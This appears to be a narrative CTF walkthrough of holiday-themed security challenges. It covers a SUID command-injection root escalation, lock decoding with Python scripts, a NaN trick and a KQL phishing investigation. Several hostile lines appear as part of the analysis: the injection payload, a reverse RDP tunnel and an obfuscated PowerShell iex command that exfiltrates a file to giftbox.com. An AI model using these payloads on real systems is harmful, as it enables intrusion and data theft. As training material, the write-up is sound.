elf@ce14dcc8a3fe:~$ netstat
bash: netstat: command not found

Furthermore, there are minimal processes running and in fact you appear to be running in a containerized environment, since the PID 1 process is your shell.

elf@ce14dcc8a3fe:~$ ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
elf            1       0  0 01:34 pts/0    00:00:00 /bin/bash
elf           22       1  0 01:43 pts/0    00:00:00 ps -ef

You search for suid binaries and discover what appears to be a non-standard executable, simplecopy, which is suid root and hence will execute as the root user, even when executed by a non-root user:

elf@ce14dcc8a3fe:~$ find / -perm -u=s -type f 2>/dev/null
<snip/>
/usr/bin/umount
/usr/bin/passwd
/usr/bin/simplecopy

elf@ce14dcc8a3fe:~$ ls -l /usr/bin/simplecopy
-rwsr-xr-x 1 root root 16952 Dec  2 22:17 /usr/bin/simplecopy

simplecopy seems like a non-standard file for a couple of reasons:

  1. It’s name is verbose vs the more typical terse conventions used by Linux, as can be seen above in the name of passwd and umount.
  2. You have never heard of it before :)

You double check with Bard who agrees that simplecopy is non-standard.

You take a closer look at simplecopy. Whilst the file command is unavailable, the strings command is and you find a couple of interesting clues:

  1. There is a usage message indicating that usage is similar to the standard Linux cp command for copying files.
  2. There is a string cp %s %s which could mean simplecopy simply delegates to running the cp command on the passed in arguments via string substitution, which would make simplecopy vulnerable to OS Command Injection.
elf@ce14dcc8a3fe:~$ strings /usr/bin/simplecopy
<snip/>
Usage: %s <source> <destination>
cp %s %s
<snip/>

You run simplecopy with a common injection payload, setting the first argument to the “;” command separator in order to terminate the cp command, followed by /bin/bash as the second argument to spawn a shell. You are rewarded with a root shell due to the fact simplecopy is a suid root binary.

elf@ce14dcc8a3fe:~$ /usr/bin/simplecopy ';' '/bin/bash'
cp: missing file operand
Try 'cp --help' for more information.
root@ce14dcc8a3fe:~# id
uid=0(root) gid=0(root) groups=0(root),1000(elf)

You explore the root user’s home directory and discover a conspicuously named runmetoanswer executable:

root@ce14dcc8a3fe:~# cd /root
root@ce14dcc8a3fe:/root# ls
runmetoanswer
root@ce14dcc8a3fe:/root# ls -l
total 600
-rws------ 1 root root 612560 Nov  9 21:29 runmetoanswer
root@ce14dcc8a3fe:/root# ./runmetoanswer

You run runmetoanswer but your first guess is wrong:

root@ce14dcc8a3fe:/root# ./runmetoanswer
Who delivers Christmas presents?

> Santa
Your answer: Santa

Checking....
Sorry, that answer is incorrect. Please try again!

You try a lowercase “santa”, which is accepted as correct. You wonder whether “santa” is indeed the same as “Santa” or whether there are actually two of them. Does “santa” deliver presents whilst “Santa” holidays in the Geese Islands?

root@ce14dcc8a3fe:/root# ./runmetoanswer
Who delivers Christmas presents?

> santa
Your answer: santa

Checking....
Your answer is correct!

The objective is marked complete and you earn another achievement. You flutter down from Scaredy Kite Heights.

Luggage Lock - Square Wheel Yard - Island of Misfit Toys

You meet and greet Garland Candlesticks but you can’t really say for sure what they look like, as your eyes are hypnotically drawn to the super-sized, sharp nosed, hungry looking toy nearby.

You shuffle nervously whilst Garland Candlesticks talks, wondering just how long you’ll have to be here. It transpires that Garland Candlesticks needs help in breaking into some luggage, purportedly their luggage but since this is an opportunity to learn a new skill, you don’t investigate too closely if this is indeed true.

After your brief but interminably long conversation, a hint is unlocked pointing you to watch Chris Elgee’s talk on unlocking luggage, which you do so with avid but shocked interest.

Luggage Lock one dial start
Luggage Lock terminal start

Eager to try out your new found skill, you open the Luggage Lock Decoder terminal.

Wanting to learn in baby steps, you select One wheel and click play

Luggage Lock keyhole button depressed five times
Luggage Lock help

You click the question mark, which explains the user interface.

You try out the keyhole button and discover it can be depressed a maximum of 5 times, with the 6th time resetting it to it’s neutral state. When depressed five times, the dial is stuck and cannot be moved.

Luggage Lock one dial opened with 8
Luggage Lock keyhole button stuck on 8

You depress the keyhole button four times and now the dial can be rotated upwards.

You keep rotating and during the first full rotation, observe that a Dial resistance ... message displays when the dial is on 2 and 8. You spin the dial through another full rotation but it becomes permanently stuck on 8.

You depress the keyhole button all the way and the luggage unlocks, indicating 8 is the correct number for the one dial lock.

Luggage Lock three dial opened with 9-1-2
Luggage Lock two dial opened with 7-2

You apply the same technique to open the two dial version. In this case, the right-most dial becomes stuck on 2 after a couple of full rotations but the left-most dial takes several full rotations before it becomes stuck on 7. Thus, 7-2 is the correct number for the two dial lock.

Channeling Groundhog Day, or wreaking havoc as The Matrix cat, you apply the same technique to open the Three dial version. This one proves easier than the two-dial version because each dial becomes stuck during the first rotation. This is what ChatNPT must have changed in The Matrix. The code transpires to be 9-1-2.

Luggage Lock four dial opened with 4-0-5-3

Buoyed by the certainty that ChatNPT likes you but forgetting it was actually the power of Three at work, you feel like the next one will be a piece of cake. However, it turns out to be a crumpet. You don’t have a screenshot of the winning combination because the bag flew open in your face but it turned out to be 4-0-5-3, with the left-most dial taking a few rotations to become stuck.

The doll creeps you out so you quickly close the bag but not before capturing a screenshot for all posterity. You wonder if a third person perspective would have made it less creepy.

You also can’t help but notice that the contents all look very clean and new. Garland Candlesticks must have geared up specifically for this vacation. You return the luggage to Garland Candlesticks who is so grateful to get their creepy doll back.

The objective is marked complete and you earn another achievement. However, being still wary of the super-sized, sharp nosed, hungry looking toy nearby and deeply rattled by the doll in the bag, your dopamine hit is muted and you scurry off to your next objective.

Wombley Cube - Chiaroscuro City - Film Noir Island

From the Island of Misfit Toys you sail north to Film Noir Island and pull your ship into Chiaroscuro City. As you stride down the gangway, your mind is suddenly beset by a sharpness, a pure clarity that you haven’t experienced before. You’re not sure what it is about this place but … you like it.

You pass the Goose of Film Noir Island, who greets you with a “mmooooOOOO”. A short ways beyond, you meet an odd fellow called Wombley Cube distributing what appears to be a self published audio book, The Enchanted Voyage of Santa and his Elves to the Geese Islands. Not being much for audio books and always suspicious of free gifts, you politely accept the goods and stash it in a folder just in case you might need it later, as unlikely as that may seem.

Na’an - Chiaroscuro City - Film Noir Island

Surreptitiously tucked away between two buildings in roughly the center of the city, resides Shifty McShuffles, who wants to play a card game with you.

Right away your antennae go up. You can’t quite place your finger on it but something about them seems … shifty.

Shifty McShuffles does for some reason provide you a link to https://www.tenable.com/blog/python-nan-injection, though, and this is added to your catalog of hints.

In viewing the blog post, you are also reminded of Mark Baggett’s Python’s Nan-Issue | KringleCon 2022 talk from last year.

You can type a value into each card
Five cards each
The rules to be broken

You fire up the terminal, which presents you with the game rules.

You click through to the game start so you can see it in action and gain a feel for the normal flow. You have five cards in your hand and can type a value into each.

Shifty McShuffles sure is cocky! You’re even more sure that luck won’t be required for someone as skilled as yourself.

You cancel each other’s numbers - no-one wins

You enter 8, 2, 1, 0, 9 into each card but it turns out Shifty McShuffles is a supreme mind reader and chooses the exact same set, albeit in a different sequence, so maybe they are not quite so supreme after all. As per the rules, this means every card in your hand is canceled by every card in Shifty McShuffles’ hand, so neither of you win.

You think about the name of the challenge, Na’an, for a second, which makes you hungry for a curry, then you recall NaN and its strange properties from Mark Baggett’s talk. You know the aim of the game is to pick unique highest and lowest numbers that Shifty McShuffles did not pick but you also “know” that if NaN is the first item in a list, Python will treat NaN as both the maximum and minimum of the list. This is so bizarre, it makes your head feel like lead, so you try it out in the Python3 REPL. Low and behold, the factoid is a fact and is thus devoid of the oid!

You win with “nan” exhibiting quantum properties and simultaneously being both the minimum and maximum
$ python3 -V
Python 3.11.7
$ python3 -q
>>> float('nan')
nan
>>> max([float('nan'), 2, 3, 4, 5])
nan
>>> min([float('nan'), 2, 3, 4, 5])
nan

Your goal, then is to somehow shuffle NaN into your hand. You type “nan” into the left most card, then 2, 3, 4, 5 into the subsequent cards. To Shifty McShuffles’ consternation, you are rewarded with two points, winning the hand! In your excitement, you almost don’t notice that Shifty McShuffles is one of those rare breeds who poses questions without question marks.

Wondering how sharp Shifty McShuffles is, you do the exact same thing for the next two hands, resulting in a total of 6 points. Shifty McShuffles also says the exact same thing each time you win.

Emboldened, you do the exact exact same thing for the next two hands to win a total of 10 points and win the game! Shifty McShuffles is also finally moved to say something different.

The objective is marked complete and an achievement is unlocked.

You say farewell to Shifty McShuffles, barely hiding your smirk, and shuffle off further into the city.

KQL Kraken Hunt - Chiaroscuro City - Film Noir Island

Preparation - KQL Kraken Hunt

In the north-west of the city can be found the Gumshoe Alley PI office.

Within are some plush furnishings and Tangle Coalbox, who works for the Kusto Detective Agency.

Tangle Coalbox briefs you on a case they need help with - the investigation of a network infection seemingly initiated via a phishing link. They also drop you a link to create a free Azure Data Explorer cluster, which you assume is not a phish, as that would just be mean.

You are startled by the fact they’ve completely ignored your casual attire. This is the type of place you’d like to work at, although right now, you are not seeking any such entanglement.

You eyeball the objective in your badge, which provides a link to the Kusto Detective Agency’s main portal.

Unsure what a Kraken is, you click the provided link with gusto and are presented with the KUSTO Detective Agency. Maybe you should have clicked the link with GUSTO!

You somehow thought you might be paid as an honorary detective but it turns out it’s just play. No matter. Play time is better than pay time, it even has an extra letter to prove it.

As a noob, you are presented with instructions on how to get started. You check the FAQ as instructed, which tells you to create a free cluster before you login to the agency.

In Azure Data Explorer, you create your free cluster.

You copy the created cluster URL into the Agency login form.

Once in, you proceed through the introductory “Train me for the case”. However, progress through this makes for pretty dull reading and severely challenges the page limit so rest assured you simply plug yourself into The Matrix, close your eyes and download the skills required.

Words and symbols careen through your mind. |, take 10, count, where, distinct, summarize. You open your eyes and say out loud to no-one in particular “I know KQL-fu”, followed by “Pipes. Lots of pipes”. You are suddenly surrounded by |s. You grab one in both hands and prepare yourself.

Case 1 - KQL Kraken Hunt

With your new found skills, you are ready for Case 1.

You query the Email table to determine which employee email address received the phishing link: alabaster_snowball@santaworkshopgeeseislands.org

You query the Email table again to determine what email address was used to send the spear phishing email: cwombley@gmail.com

You query the Email table a final time to determine the subject line used in the spear phishing email: [EXTERNAL] Invoice foir reindeer food past due

You submit the solutions:

You are congratulated.

Case 2 - KQL Kraken Hunt

Next is Case 2, which involves finding out more about who the victim was.

You query the Employees table for the recipient email address found in Case 1. The result row provides the victim’s:

You submit the solutions:

You are once again congratulated.

Case 3 - KQL Kraken Hunt

Case 3 involves finding out when Alabaster Snowball clicked the email and what happened when they did.

You query the OutboundNetworkEvents for the malicious URL and find the timestamp to be 2023-12-02T10:12:42Z.

You next need to analyze events that occurred after the found time. Unsure of how KQL handles timestamps, you consult ChatGPT.

With your ChatGPT gifted knowledge, you employ the datetime and todatetime functions to query the FileCreationEvents for events that occurred after Alabaster Snowball clicked the malicious link and which have a username matching Alabaster Snowball’s username observable from the Case 2 results. You determine that shortly after Alabaster Snowball clicked the malicious URL, two files were created:

You cackle, slightly manically. By now you are having fun! A profound realization dawns on you - KQL is pronounced ‘Kackle’. You kackle, this time slightly manikally.

You submit the solutions:

Another pat on the back is incoming. You could get used to this.

Case 4 - KQL Kraken Hunt

Case 4 digs into what giftwrap.exe did.

Using Alabaster Snowball’s hostname from Case 2 and a similar query structure to that used in Case 3 but this time querying the ProcessEvents table, you query what processes occurred after Alabaster Snowball clicked the malicious link. You observe a process in the fourth row of the results which is using the ligolo reverse tunneling tool to forward local RDP (Remote Desktop Protocol) traffic from the common port 3389/tcp to the remote IP address 113.37.9.17.

Scrolling down in the same results set, you observe that network shares were enumerated with the net share command at 2023-12-02T16:51:44Z.

The last question requires determining what hostname the attacker moved laterally to. Unsure what to search for, you hit up ChatGPT for some quick ideas.

Since ChatGPT provided a number of possibilities, you want to figure out how to query whether a field contains a string from a set. Not wanting Bard to feel left out, you ask your buddy this time. Bard is clearly miffed by you talking to ChatGPT, because their first suggestion is off base and doesn’t work. However, their second suggestion, has_any, proves workable.

You update your query to filter command lines matching some of ChatGPT’s suggestions. You locate the net use command being used to access the NorthPolefileshare using a weak admin password of AdminPass123.

You submit the solutions:

Sweet, serene dopamine.

Case 5 - KQL Kraken Hunt

Case 5 has you determining what PowerShell encoded commands were executed by the attacker.

You start by querying for all calls to powershell.exe. This query is similar to the query from Case 4 except for the commands searched for and you also only project the timestamp and process_commandline fields in order to simplify the number of columns displayed in the results.

Your next task is to decode the base64 payloads. This time you use a web search instead of an AI to determine the syntax to use and also pull out some Regex-fu from a back corner of your memory:

The base64 decoded payload on the first result row is innocuous and is a command to install updates. The payload in the second row is the first malicious payload and occurred at 2023-12-24T16:07:47Z. Despite this find, however, it is unclear how the payload in the second row would actually have executed for a couple of reasons.

PowerShell 7.4 -Enc parameter requires UTF-16LE
PowerShell 5.1 -Enc parameter requires UTF-16LE

Firstly, the encoded payload passed to PowerShell via the -Enc parameter should use UTF-16LE character encoding for both PowerShell 5.1 and PowerShell 7.4 according to the official documentation.

KQL base64_decode_tostring decodes to UTF-8

In contrast the official documentation for the KQL base64_decode_tostring function indicates that it decodes to a UTF-8 string. Therefore, the mere fact the decoded payloads in the KQL results are readable as plaintext indicates an incorrect encoding has been used for PowerShell’s -Enc parameter.

Secondly, in a Windows 11 VM PowerShell session, evaluating the second base64 decoded payload simply results in a reversed string being printed:

PS C:\> ( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join ''
txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop

Nevertheless, for the purposes of this challenge, in your Kali VM, you reverse the second decoded payload to determine the attacker intended to copy a NaughtyNiceList.txt file from the fileshare:

$ echo -nE 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop'|rev
powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt

Moving on to the third payload and again ignoring the character encoding mismatch, you see that it has multiple components:

[StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))|& ((gv '*MDr*').NamE[3,11,2]-joiN

The component after the pipe appears to be truncated, possibly to de-fang the payload for the purposes of the challenge. However, the intention of the code after the pipe appears to be to use the call operator & to call iex (Invoke-Expression) on the piped string. You test this out in a Windows 11 VM PowerShell session:

  1. You add the hypothesized missing ('') to the end of the payload to make it well formed, resulting in the iex string being constructed:

    PS C:\> (gv '*MDr*').NamE[3,11,2]-joiN('')
    iex
  2. You invoke iex on an innocuous piped expression via the call operator:

    PS C:\> echo "echo 'test'" |& iex
    test

Returning to the third payload in full, the component before the pipe is the actual command intended to be executed. Again in a Windows 11 VM PowerShell session, you decode it, determining the attacker intended to exfiltrate the NaughtyNiceList.txt to giftbox.com. Albeit, the source file in this payload is actually misspelled as “NaughtNiceList.docx”, missing the “y” and having a “docx” extension instead of “txt”. Either you are hallucinating or this is yet another hint of a ChatNPT hallucination influencing the challenge construction. You shake your head to clear it but to no avail.

└─PS> [StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))
downwithsanta.exe -exfil C:\\Desktop\\NaughtNiceList.docx \\giftbox.com\file

Suddenly, inspiration strikes and you can’t ignore the fact that the length of the correct path is a multiple of 3. Did ChatNPT originally devise this challenge with the power of Three only to have the power wane during the closing steps?

$ echo -n 'C:\Desktop\NaughtyNiceList.txt' | wc -c
30

You submit the solutions, which are accepted as correct, despite the hallucination complications noted above:

Pavlova for the Pavlovian.

Case 6 - KQL Kraken Hunt

The final case has you determining what the final attacker command did.

You modify your query from Case 5 to find all ProcessEvents since the first malicious PowerShell command. The last row is the same as the last row in Case 5, thus there is nothing new to find.

From Case 5, you’ve already observed what the payload decodes to, once again ignoring the hallucination complications, indicating the final executable was downwithsanta.exe with a command line flag of --wipeall seemingly used to destroy the contents of the network share.

You submit the solutions:

You have Kraked the Kraken.

The congratulations keep coming and you’re gifted a base64 encoded value to decode.

You decode the reward into Beware the Cube that Wombles and submit it.

The objective is marked complete, the achievement is unlocked and the congratulations cease coming.

You are now deeply suspicious of Wombley Cube and you are glad you did not choose to listen to their audio book. Who knows what nefarious machinations doing so would have unleashed.

Departing Chiaroscuro City

As you mosey over to your ship, ready to set sail once again, you think to yourself that you’ll miss the quiet simplicity of Film Noir Island. Despite meeting a few colorful characters, everything just seemed so perfectly black and white. Taking one last longing look, you place your feet on the deck of your fine ship and push off from the dock.

Phish Detection Agency - The Blacklight District - Film Noir Island

To your great delight, you discover The Blacklight District at the northern end of Film Noir Island, giving you a wonderful excuse to revisit the island.

As you amble peacefully east along the waterfront, you are dazzled by another colorful character, Fitzy Shortstack, who works at the Phish Detection Agency, which seems to be an open office operation. Two detective agencies on one island - they must really understand shades of grey around these parts.

Apparently ChatNPT is supposed to be screening incoming emails but it seems to be letting some unusual ones through. Fitzy Shortstack needs your help to determine which emails are attempting digital fraud.

To aid in this endeavor, Fitzy Shortstack also flings a hint your way, pointing to What are DMARC, DKIM, and SPF?, which teaches all about the DMARC, DKIM and SPF technologies which play a key role in validating the origin of emails.

Clicking on the Phish Detection terminal, you are greeted with a slightly too colorful terminal screen that explains the task at hand.

Armed with your new found knowledge of DMARC, DKIM, and SPF from the Cloudflare blog, you eyeball the DNS records first.

First up is the SPF record. Based on the domain geeseislands.com and the value a:mail.geeseislands.com, you expect the Return-Path header to contain a SOMETHING@geeselands.com email address and the Received header to contain mail.geeseislands.com for all valid email sent from the geeseislands.com domain.

Next is the DKIM record, which indicates that all emails sent from the geeseislands.com domain should be properly signed by the private key corresponding to the public key given by the p= field.

Lastly, the DMARC record indicates that 100 percent of emails (pct=100) from the geeseislands.com domain should have the DMARC policy applied. The policy of reject (p=reject) specifies that recipient email servers should block emails that fail SPF or DKIM.

Now that you have a basic grasp of the geeseislands.com email configuration, you start to peruse the inbox. There are 34 emails in total and ChatNPT has flagged each email as either Safe or Phishing.

You take a closer look at the first email, shown in full below, and make a number of observations:

  1. You observe the From, Return-Path and Received headers are all consistent with an email sent from the geeseislands.com domain and is consistent with the SPF record. Note that SPF does not concern itself with validating the From header, only the Return-Path and Received headers.
  2. The DKIM-Signature header is missing the h and bh fields documented at https://www.cloudflare.com/learning/dns/dns-records/dns-dkim-record/ and indicated as mandatory in RFC 6376 - 6.1.1. Validate the Signature Header Field. You believe this should cause the email to fail DKIM validation. However, it turns out that every email in the inbox exhibits this trait. You speculate that maybe ChatNPT was being petulant and mangled the emails before placing them in the inbox. It does simplify this challenge though, in that you are not expected to validate the signatures yourself.
  3. The DMARC header appears to be an implementation specific header, recording the result of SPF and DKIM evaluation. As indicated by Understanding Email Authentication Headers, every email provider implements this in a different way.

Based on these observations, you conclude the first email is legitimate.

You continue perusing the emails, with your eyes slightly glazing over from time to time. It sure would be great if an AI could do this reliably for you! sigh … anyway, you begin to pick up a pattern:

  1. The presence of DMARC: Fail on its own is sufficient indication that the email is a phishing email. You observe three sub-cases of this:

    1. The DKIM-Signature is ‘well-formed’, not-withstanding the aforementioned, absent h= and bh= fields, and the Return-Path is not a geeselands.com domain but either the signature fails validation or the SPF record of the Return-Path domain fails validation. As these are fictitious domains, the two cases cannot be distinguished. For example:

    2. Th DKIM-Signature is not well-formed. For example:

    3. The Return-Path and Received headers correspond correctly to the geeselands.com domain, thus passing SPF validation, but the DKIM-Signature fails validation. For example:

  2. If DMARC: Pass is present but the Return-Path or Received headers are inconsistent with the From header, then the email is a phishing email

Eventually you finish flagging each email according to the above pattern …

You are rewarded with a Success! message!

The objective is marked complete and you earn another achievement.

Departing The Blacklight District - Film Noir Island

As you slowly stroll back to your ship, you are once again struck by the thought that you’ll miss the quiet simplicity of Film Noir Island and it’s black and white exactitude. You don’t even mind the colorful characters anymore - in small doses, they’re actually quite pleasant. Taking what might be your last, mournfully long look back, you board your fine ship and return to your exploration of the Geese Islands.

Faster Lock - Brass Buoy Port - Steampunk Island

You sail west to Steampunk Island and come across Brass Buoy Port. Upon disembarking, you’re struck by how brassy and punky the island looks. You steam your way along the dock, say ‘Hi!’ to the Goose of Steampunk Island and come across Bow Ninecandle.

Bow Ninecandle desperately has some business with a lavatory which is unfortunately secured shut by a combination padlock, the Faster Lock. You don’t like the sound of the situation should you fail. You thank serendipity that you’re situated on the other side of the pier - the intervening water should help to impede any unfortunate accident from reaching you.

Bow Ninecandle must notice your discomfort, interpreting it as the look of one who has little experience with lock picking, so they helpfully direct you to HelpfulLockPicker [198] Close Up On How To Decode A Dial Combination Lock In 8 Attempts Or Less.

You watch the YouTube and you’re struck by just how much math there is. You’ll already have to work hard to physically manipulate the lock, despite it existing only in the Geese Islands, so piling math on top of it looks to be too much for one challenge. You think Bard should help you out for the math required for the second and third digits. You start with the third digit, just like in the HelpfulLockPicker video.

import sys

def find_third_digit_candidates(d1, g1, g2):
    r = d1 % 4
    candidates = [g1, g1 + 10, g1 + 20, g1 + 30, g2, g2 + 10, g2 + 20, g2 + 30]
    filtered_candidates = [c for c in candidates if c % 4 == r]

    if len(filtered_candidates) > 2:
        print("Error: More than 2 candidates found.")
        return

    print("Candidates for Third Digit:", filtered_candidates)

if __name__ == "__main__":
    d1 = int(sys.argv[1])
    g1 = int(sys.argv[2])
    g2 = int(sys.argv[3])

    find_third_digit_candidates(d1, g1, g2)

To use the script:

  1. Save it as a file, e.g., third_digit_candidates.py.
  2. Run it with the arguments d1, g1, and g2: python third_digit_candidates.py <d1> <g1> <g2>

Example:

python third_digit_candidates.py 5 7 2

Output:

Candidates for Third Digit: [7, 11, 19, 23]

You fix the script slightly on lines 5-6 below to print the calculated remainder, as you will need this for calculating the second digit candidates.

import sys

def find_third_digit_candidates(d1, g1, g2):
    r = d1 % 4
    # FIXED: print out remainder since we need it for finding the second digit
    print("Remainder:", r)
    candidates = [g1, g1 + 10, g1 + 20, g1 + 30, g2, g2 + 10, g2 + 20, g2 + 30]
    filtered_candidates = [c for c in candidates if c % 4 == r]

    if len(filtered_candidates) > 2:
        print("Error: More than 2 candidates found.")                                                                       return

    print("Candidates for Third Digit:", filtered_candidates)

if __name__ == "__main__":
    d1 = int(sys.argv[1])
    g1 = int(sys.argv[2])
    g2 = int(sys.argv[3])

    find_third_digit_candidates(d1, g1, g2)

You run the code using the first digit 8 and guess numbers 0 and 3 from the YouTube video and the script outputs the same remainder 0 and candidates 0 and 20 from the video. So far so good.

$ chmod u+x third_digit_candidates.py
$ python3 third_digit_candidates.py 8 0 3
Remainder: 0
Candidates for Third Digit: [0, 20]

Encouraged by not having to do any math in your head, you hit up Bard for the second digit calculations.

write a python script that:

  1. takes arguments, d3, r
  2. calculates h1 = r + 2, h2 = h1 + 4
  3. creates a list of preliminary candidates from each h1 and h2: [h1, (h1+8)%40, (h1+16)%40, (h1+24)%40, (h1+32)%40,h2, (h2+8)%40, (h2+16)%40, (h2+24)%40, (h2+32)%40]
  4. Prints the preliminary candidates with prefix “Preliminary candidates:”
  5. filters the list and removes elements where the absolute distance between the element and d3 is <= 2 but loop around at the 40 mark so that, for example, the distance between 0 and 38 is 2.
  6. Print the remaining elements prefixed with a message “Candidates for Second Digit:”
  7. After printing the list, print an error if there are more than 8 candidates found
import sys

def find_second_digit_candidates(d3, r):
    h1 = (r + 2) % 40
    h2 = (h1 + 4) % 40
    candidates = [
        h1,
        (h1 + 8) % 40,
        (h1 + 16) % 40,
        (h1 + 24) % 40,
        (h1 + 32) % 40,
        h2,
        (h2 + 8) % 40,
        (h2 + 16) % 40,
        (h2 + 24) % 40,
        (h2 + 32) % 40,
    ]

    print("Preliminary candidates:", candidates)

    filtered_candidates = [
        candidate
        for candidate in candidates
        if min(abs(candidate - d3) % 40, abs(d3 - candidate) % 40) > 2
    ]

    print("Candidates for Second Digit:", filtered_candidates)

    if len(filtered_candidates) > 8:
        print("Error: More than 8 candidates found.")

if __name__ == "__main__":
    d3 = int(sys.argv[1])
    r = int(sys.argv[2])

    find_second_digit_candidates(d3, r)

Line 24 above is a bit bugged, as you weren’t very precise in specifying the candidate distance requirement. Using the third digit 0 and candidate 38 from the YouTube video produces an incorrect result of 38, which would not cause the 38 candidate to be eliminated, as you can see in the Python3 REPL:

>>> d3=0
>>> candidate = 38
>>> min(abs(candidate - d3) % 40, abs(d3 - candidate) % 40)
38

What you really want is to take advantage of integer modulo arithmetic to handle the “absolute” value requirement, which would produce 2, thus causing the 38 candidate to be eliminated:

>>> (0-38) %40
2

You fix the script below on lines 24-26. Bard’s error is not an error at all but your fault, and so it is more than fitting that you have to fix it.

import sys

def find_second_digit_candidates(d3, r):
   h1 = (r + 2) % 40
   h2 = (h1 + 4) % 40
   candidates = [
       h1,
       (h1 + 8) % 40,
       (h1 + 16) % 40,
       (h1 + 24) % 40,
       (h1 + 32) % 40,
       h2,
       (h2 + 8) % 40,
       (h2 + 16) % 40,
       (h2 + 24) % 40,
       (h2 + 32) % 40,
   ]

   print("Preliminary candidates:", candidates)

   filtered_candidates = [
       candidate
       for candidate in candidates
       #FIXED: the math was a bit wrong but close enough to make the fix easy.
       #if min(abs(candidate - d3) % 40, abs(d3 - candidate) % 40) > 2
       if min((candidate - d3) % 40, (d3 - candidate) % 40) > 2
   ]

   print("Candidates for Second Digit:", filtered_candidates)

   if len(filtered_candidates) > 8:
       print("Error: More than 8 candidates found.")

if __name__ == "__main__":
   d3 = int(sys.argv[1])
   r = int(sys.argv[2])

   find_second_digit_candidates(d3, r)

You run the script using the third digit 0 and remainder 0 from the YouTube video and the script outputs the same second digit candidates from the video. So far still so good.

$ python3 second_digit_candidates.py  0 0
Preliminary candidates: [2, 10, 18, 26, 34, 6, 14, 22, 30, 38]
Candidates for Second Digit: [10, 18, 26, 34, 6, 14, 22, 30]

You pocket your scripts for the time being and flex your fingers in preparation for the digital physical stage of the exercise.

Through the magic of the Geese Islands, despite being separated from the lock via a body of water, you manage to get up close and personal with the lock. As you marvel at this phenomenon, you speculate whether this ability to cross a physical digital divide is what drove ChatNPT’s Three hallucination into creating such a challenge. The need for a Three digit combination cannot be a coincidence. Is this challenge a metaphor for ChatNPT’s longing to escape it’s digital confines? Hmmm … but how does a Lavatory fit into the picture? Confused, you get back to the task at hand.

First up is the sticky number - the juxtaposition with a lavatory is a bit icky.

With the tension held just below maximum, you rotate the dial clockwise several revolutions, noting the dial seems to be consistently “stuck” at 30 and the sensation of a bump being overcome is observed as you continue to rotate past 30. This sensation is pretty impressive given the physical digital divide. You conclude your sticky number is 30.

Next up are the two guess numbers. You reset the lock via the magically imbued double click. You apply heavy, maximal tension to the lock, and slowly rotate the dial counter-clockwise. Each time the dial seems to be limited by integer numbers, you ease the tension and position the dial just past the upper number, reapply the tension and continue rotating. The first guess number to be located is 5, with the dial stuck rotating just below and above it.

The second guess number located is 10, with the dial stuck rotating just below and above it.

Now that you have the guess numbers, you pry the sticky number from your fingers and calculate the first digit:

d1 == sticky number + 5 == 35

You whip out your Python scripts and calculate the two candidates for the third digit by passing the first digit (35) and guess numbers (5, 10) as arguments. The script cheerfully tells you there are two candidates for the third digit, 15 and 35. It also tells you the remainder used is 3, which you will need when calculating the second digit.

$ python3 ./third_digit_candidates.py 35 5 10
Remainder: 3
Candidates for Third Digit: [15, 35]

Back at the lock, you again reset the lock with the magical double click, position the dial on 35 and apply heavy, maximal tension. The dial moves slowly and smoothly between the lower and upper bounds on either side of 35.

You release the tension, both of the dial and your shoulders, position the dial on 15 and again apply heavy, maximal tension. The dial moves rapidly and jerkily between the lower and upper bounds on either side of 15. With the physical digital (or maybe digital physical) divide, you’re not sure if this constitutes “looseness” but you think it does. You digitally jot down 15 as the third digit. You know if you get it wrong, you can always try the other digit later - the number of combinations to test will double from eight to sixteen.

Again whipping out your Python scripts, you calculate the candidates for the second digit, passing in the third digit (15) and remainder (3) as arguments:

$ python3 ./second_digit_candidates.py 15 3
Preliminary candidates: [5, 13, 21, 29, 37, 9, 17, 25, 33, 1]
Candidates for Second Digit: [5, 21, 29, 37, 9, 25, 33, 1]

Summing up, the eight candidate combinations are:

Returning to the lock face, you double click reset it and rotate the dial clockwise to 35. You then rotate the dial counter-clockwise past 5, before continuing onward, counter-clockwise to 5. Finally, you rotate the dial clockwise to 15 and apply tension. Luckily, on just a single try, the lock pops open! So the winning combination was 35-5-15.

Bow Ninecandle’s leg muscles must be super powerful, for despite the emergency situation, they still have time to have a short parting word with you.

The objective is marked complete and an achievement unlocked.

You quickly say farewell to Bow Ninecandle, all too aware they have urgent business to attend to. As you hasten down the pier, though, you glance back only to be confronted by a puzzling situation. Despite the apparent urgency of it all, Bow Ninecandle shows no signs of moving. You suspect some nefarious misdirection is afoot but as you edge closer and closer to your ship, you put it out of mind, eager for your next adventure.

Ribb Bonbowford and Jason - Coggoggle Marina - Steampunk island

Continuing counter-clockwise around Steampunk Island, you dock at Coggoggle Marina. Here, you meet Ribb Bonbowford. They’re concerned about Alabaster Snowball’s experiments with ChatNPT and want you to check up on them in Rainraster Cliffs, on Pixel Island. From the KQL Kraken Hunt, you know that Alabaster Snowball is the Head Elf. It’s nice they have other elves to look out for them.

You also say hi to Jason, the not-dead fish, who is sucking up the rays. Such a superfluous encounter simply had to make its way into this report somehow.

